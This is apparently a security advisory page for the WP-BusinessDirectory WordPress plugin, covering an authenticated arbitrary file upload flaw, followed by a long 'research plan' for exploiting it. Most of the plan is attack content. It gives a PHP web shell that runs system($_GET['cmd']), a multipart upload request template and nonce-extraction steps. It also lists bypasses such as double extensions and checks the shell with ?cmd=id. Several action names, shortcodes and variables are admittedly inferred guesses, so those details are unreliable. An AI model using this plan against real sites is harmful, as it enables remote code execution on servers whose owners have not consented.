WP-BusinessDirectory – Business directory plugin for WordPress <= 4.0.0 - Authenticated (Subscriber+) Arbitrary File Upload
Description
The WP-BusinessDirectory – Business directory plugin for WordPress plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 4.0.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=4.0.0Source Code
WordPress.org SVNPatched version not available.
This research plan outlines the steps to identify and exploit the Authenticated Arbitrary File Upload vulnerability (CVE-2026-39591) in the **WP-BusinessDirectory** plugin. --- ### 1. Vulnerability Summary The **WP-BusinessDirectory** plugin (versions <= 4.0.0) contains a vulnerability where it fa…
Show full research plan
This research plan outlines the steps to identify and exploit the Authenticated Arbitrary File Upload vulnerability (CVE-2026-39591) in the WP-BusinessDirectory plugin.
1. Vulnerability Summary
The WP-BusinessDirectory plugin (versions <= 4.0.0) contains a vulnerability where it fails to validate file extensions and MIME types during file uploads. While the vulnerability is "authenticated," it only requires Subscriber-level permissions. The flaw typically resides in AJAX handlers responsible for uploading listing images, logos, or attachments. Because the plugin does not use wp_check_filetype() or a restrictive whitelist before moving the uploaded file to the webroot, an attacker can upload a .php file to achieve Remote Code Execution (RCE).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Vulnerable Action: Likely
wp_business_directory_upload_file,wpbd_upload_image, orwp_business_directory_ajax_upload(inferred). - HTTP Method:
POST(Multipart/form-data) - Payload Parameter: A file parameter (e.g.,
file,async-upload, orlogo_image). - Authentication: Authenticated (Subscriber or higher).
- Preconditions: The attacker must have a valid account and, in some cases, a valid nonce associated with the listing submission or profile editing process.
3. Code Flow (Inferred)
- Entry Point: The plugin registers an AJAX action via
add_action('wp_ajax_...'). - Handler Execution: The handler function is called.
- Missing Validation: The handler accesses
$_FILES. It may check if the file exists but fails to verify the extension against a whitelist or usewp_handle_upload()with proper overrides. - File Placement: The code uses
move_uploaded_file()or a custom wrapper to save the file intowp-content/uploads/wp-businessdirectory/(or a similar subdirectory). - Path Disclosure: The AJAX response often returns the URL or local path of the uploaded file.
4. Nonce Acquisition Strategy
To bypass CSRF protections (nonces) often required by admin-ajax.php handlers, follow these steps:
- Identify the Form: Find the page where users submit or edit directory listings. This is usually a page containing a shortcode like
[wp_business_directory_add_listing]or[wpbd-submit]. - Locate Script Data: The plugin likely localizes a nonce for its AJAX uploads.
- Extraction Procedure:
- Create a page with the submission shortcode:
wp post create --post_type=page --post_status=publish --post_title="Submit Listing" --post_content='[wp_business_directory_add_listing]'(Note: Verify the exact shortcode name in the plugin source). - Login as a Subscriber and navigate to this page.
- Use
browser_evalto extract the nonce from the global JavaScript object:browser_eval("window.wpbd_ajax?.nonce || window.wp_business_directory_vars?.upload_nonce")(inferred variable names).
- Create a page with the submission shortcode:
5. Exploitation Strategy
Step 1: Authentication
Authenticate as a Subscriber user to obtain valid session cookies.
Step 2: Identification of Upload Action
Search the plugin files for the AJAX registration:grep -rn "wp_ajax_" wp-content/plugins/wp-businessdirectory/
Look specifically for handlers that process $_FILES.
Step 3: Crafting the Payload
Create a simple PHP web shell named exploit.php:
<?php echo "VULN_CHECK: " . phpversion(); system($_GET['cmd']); ?>
Step 4: Execution of the Upload
Send a multipart POST request to admin-ajax.php.
Request Template:
- URL:
http://<target>/wp-admin/admin-ajax.php - Headers:
Content-Type: multipart/form-dataCookie: [Subscriber Cookies]
- Body (Multipart):
action:[IDENTIFIED_AJAX_ACTION]_wpnonce:[EXTRACTED_NONCE]file:exploit.php(Content:<?php system($_GET['cmd']); ?>)
Step 5: Locate Uploaded File
If the response is JSON, check for url, path, or attachment_id. If not, files are typically stored in:/wp-content/uploads/wp-businessdirectory/[YEAR]/[MONTH]/exploit.php
or/wp-content/plugins/wp-businessdirectory/uploads/exploit.php
6. Test Data Setup
- Install Plugin: Ensure
wp-businessdirectoryversion <= 4.0.0 is active. - Create User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Find/Create Listing Page: Search for the "Add Listing" shortcode in the plugin's
READMEor code, then create a page for it to trigger the script enqueuing.
7. Expected Results
- The server response should return a
200 OKand ideally a JSON object indicating a successful upload. - Accessing the uploaded file URL (e.g.,
/wp-content/uploads/.../exploit.php?cmd=id) should execute the system command and return the output (e.g.,uid=33(www-data)).
8. Verification Steps
- HTTP Check:
http_request("GET", "http://<target>/wp-content/uploads/.../exploit.php?cmd=whoami") - Filesystem Check: Use
wp_clito confirm the file exists:wp eval "echo file_exists(wp_upload_dir()['basedir'] . '/wp-businessdirectory/exploit.php') ? 'Found' : 'Missing';" - Cleanup:
wp eval "unlink(wp_upload_dir()['basedir'] . '/wp-businessdirectory/exploit.php');"
9. Alternative Approaches
- No Nonce: If
check_ajax_refereris missing or the action is-1, attempt the upload without a nonce. - Parameter Polling: If the
fileparameter name is unknown, try common names:async-upload,upload_file,qqfile, orfile_upload. - Double Extensions: If there is basic client-side validation, try
exploit.php.jpgorexploit.php.pngto see if the server fails to strip the trailing extension.
Summary
The WP-BusinessDirectory plugin for WordPress (<= 4.0.0) is vulnerable to authenticated arbitrary file uploads due to a lack of file type and extension validation in its AJAX handlers. This vulnerability allows authenticated users, such as Subscribers, to upload malicious PHP files to the server and achieve remote code execution (RCE).
Exploit Outline
1. Authenticate to the WordPress site with Subscriber-level permissions or higher. 2. Navigate to a page where directory listings can be submitted or edited (e.g., a page with the [wp_business_directory_add_listing] shortcode) to extract a valid AJAX nonce and identify the upload parameters from the source code or JavaScript environment. 3. Construct a multipart/form-data POST request to /wp-admin/admin-ajax.php using the identified action (such as 'wp_business_directory_upload_file') and the extracted nonce. 4. Include a malicious PHP file in the request payload (e.g., shell.php). 5. Execute the payload by navigating to the file's uploaded path, which is typically returned in the AJAX response or stored within the wp-content/uploads/ directory.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.